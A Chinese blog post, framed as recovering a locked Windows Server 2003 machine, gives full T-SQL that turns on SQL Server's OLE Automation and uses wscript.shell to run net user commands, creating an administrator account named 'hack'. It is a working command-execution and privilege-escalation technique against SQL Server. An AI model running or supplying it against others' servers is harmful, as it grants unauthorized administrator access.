Windows2003 SQL2005解决系统Administrator密码不知道的问题

今天上班的时候,有个同事说不知道谁设置了开机密码,那台电脑一直没有开机密码的他现在进不了桌面

那台电脑没有光驱,而我手头上启动U盘又没有,不然用winpe自带的密码破解工具破解开机密码了

幸亏那台电脑是开发机而且安装了SQLSERVER2005,幸亏他记得SQLSERVER的sa用户和密码,那就有戏了o(∩_∩)o

输入下面的SQL语句,添加一个Administrator组别的系统用户

--打开高级选项,看Ole Automation Procedures OLE自动化开启了没有
EXEC [sys].[sp_configure] @configname = 'show advanced options', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO --查看是否开启
EXEC [sys].[sp_configure] --如果没有就开启
EXEC [sys].[sp_configure] @configname = 'Ole Automation Procedures', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO
--添加一个hack用户,所属用户组为Administrators
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack /add'
EXEC SP_OAMETHOD @shell,'run',null, 'net localgroup Administrators hack /add' --或者直接改密码,不添加用户
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack 123456'

用hack用户进入系统,hack的密码为空,然后进入计算机-》右键-》管理-》本地用户和组-》把administrator的密码设置为空,

然后打开任务管理器,点击“用户”标签,在用户界面,选中hack用户,右键-》断开,Windows弹出对话框说hack用户的Windows会话会终结,

数据不能保存,选择“是”,然后弹出登录对话框,在用户名的输入框里输入“administrator”,密码输入框为空密码,成功登录桌面了

幸亏知道SQLSERVER数据库安全的一些知识,不然真的要重装系统了,整个过程都是利用了OLE自动化,他相当于给你一个cmd环境,让你

可以输入cmd命令

-------------------------------------------华丽的分割线----------------------------------------------------

其实我觉得SQLSERVER使用Windows服务来写这个理念是挺好的,不用开机启动然后需要双击sqlserver.exe来运行

用Windows服务的话,开机就启动了都不用进入桌面

我上司跟我说比较大型的平台软件一般都会用Windows服务来编写,将关键核心部分用Windows服务来运行,就像我们公司的软件

大部分核心功能都用Windows服务来运行的,不过用Windows服务也有不好的地方,就是如果服务启动不起来了,您的软件也运行不了,就像SQLSERVER

像一些杀毒软件,管家软件也会用Windows服务来编写,好像360安全卫士也是,如下图

用完之后记得把 Ole Automation Procedures OLE自动化  关闭,不然被其他人利用就麻烦了

如有不对的地方,欢迎拍砖 o(∩_∩)o

2014-4-24补充:

如果是用远程桌面登录的话,必须要为帐号添加一个密码

使用下面的语句

net user 用户名 密码 /add 建立用户 

或者更改当前已存在的管理员账户的密码  修改naruto的密码为123456

net user naruto 123456

Windows2003 SQL2005解决系统Administrator密码不知道的问题的更多相关文章

  1. 你所不知道的SQL Server数据库启动过程,以及启动不起来的各种问题的分析及解决技巧

    目前SQL Server数据库作为微软一款优秀的RDBMS,其本身启动的时候是很少出问题的,我们在平时用的时候,很少关注起启动过程,或者很少了解其底层运行过程,大部分的过程只关注其内部的表.存储过程. ...

  2. Windows2008系统忘记密码的解决方法

    网上转载的,忘记密码不用发愁了.   windows2008系统忘记密码的解决方法: 利用放大镜的漏洞来重设密码 首先用系统盘来引导 选择修复计算机 然后打开命令提示符:先备份放大镜,然后用CMD替换 ...

  3. (转)关于 Java 对象序列化您不知道的 5 件事

    关于 Java 对象序列化您不知道的 5 件事 转自:http://developer.51cto.com/art/201506/479979.htm 数年前,当和一个软件团队一起用 Java 语言编 ...

  4. 你所不知道的setTimeout

    JavaScript提供定时执行代码的功能,叫做定时器(timer),主要由setTimeout()和setInterval()这两个函数来完成.它们向任务队列添加定时任务.初始接触它的人都觉得好简单 ...

  5. 你所不知道的SQL Server数据库启动过程(用户数据库加载过程的疑难杂症)

    前言 本篇主要是上一篇文章的补充篇,上一篇我们介绍了SQL Server服务启动过程所遇到的一些问题和解决方法,可点击查看,我们此篇主要介绍的是SQL Server启动过程中关于用户数据库加载的流程, ...

  6. [iOS翻译]《iOS 7 Programming Pushing the Limits》系列:你可能不知道的Objective-C技巧

    简介: 如果你阅读这本书,你可能已经牢牢掌握iOS开发的基础,但这里有一些小特点和实践是许多开发者并不熟悉的,甚至有数年经验的开发者也是.在这一章里,你会学到一些很重要的开发技巧,但这仍远远不够,你还 ...

  7. PC-XP系统忘记密码怎么办

    (一)以恢复本地用户"*****"口令为例,来说明解决忘记登录密码的步骤:1.重新启动计算机,在启动画面出现后马上按下F8键,选择"带命令行的安全模式".2.运 ...

  8. 不知道的陷阱:C#委托和事件的困惑

    转载网址:http://www.cnblogs.com/buptzym/archive/2013/03/15/2962300.html 不知道的陷阱:C#委托和事件的困惑   一. 问题引入 通常,一 ...

  9. [转帖]你所不知道的C和C++运行库

    [C-C++]你所不知道的C和C++运行库 https://blog.csdn.net/humanking7/article/details/85887884 原作者也是转的blog 最近一个物理机上 ...

随机推荐

  1. MySQL备份学习

    备份分类 物理和逻辑备份 物理备份直接拷贝数据库目录和文件,适合数据量大.重要且需要在出现问题时快速恢复的数据库 逻辑备份保存信息包括逻辑数据库结构(数据库表的创建脚本)和内容(插入语句或者分隔符平面 ...

  2. html弹出窗并用遮罩层的实例

    <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8&quo ...

  3. 关于new/delete、malloc/free的内存泄漏检测

    情况一 new/delete 内存泄漏 1.在MFC中可以每一个cpp文件的头部添加以下一段宏来检测new申请而没用free释放的内存泄漏 #ifdef _DEBUG #define new DEBU ...

  4. C# 委托的学习

    delegate int GetCalculatedValueDelegate(int x, int y);    //定义是个委托实际上就是抽象一类  参数列表形式和返回值相同的函数AddCalcu ...

  5. 更好更快更高效解析JSON说明

    现在来一个实例解析类,直接就把解析JSON到QVariant去了.唯一不足的是没有搞错误处理,具体方法也请各位自行参考json-c的发行文档,这样比较方便叙述,STL或者Boost我都没有认真接触过, ...

  6. Web前端之html_day1

    1.html结构 1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html>   <html lang="en"> <head> ...

  7. 自动获取socket链接状态

    C# TcpClient在连接成功后无法检测连接状态,即使对方关闭了网络连接.以下扩展可检测连接状态: static class TcpClientEx { public static bool Is ...

  8. java的四种取整方法

    java 中取整操作提供了四种方法:分别是: public static double ceil(double a)//向上取整  public static double floor(double ...

  9. step6----->往工程中添加spring boot项目------->修改pom.xml使得我的project是基于spring boot的,而非直接基于spring framework

    文章内容概述: spring项目组其实有多个projects,如spring IO platform用于管理external dependencies的版本,通过定义BOM(bill of mater ...

  10. Spring----->projects----->Spring Web Flow

    1.概述(about Spring Web Folw) Spring Web Flow是spring社区一个子project Spring Web Flow builds on Spring MVC ...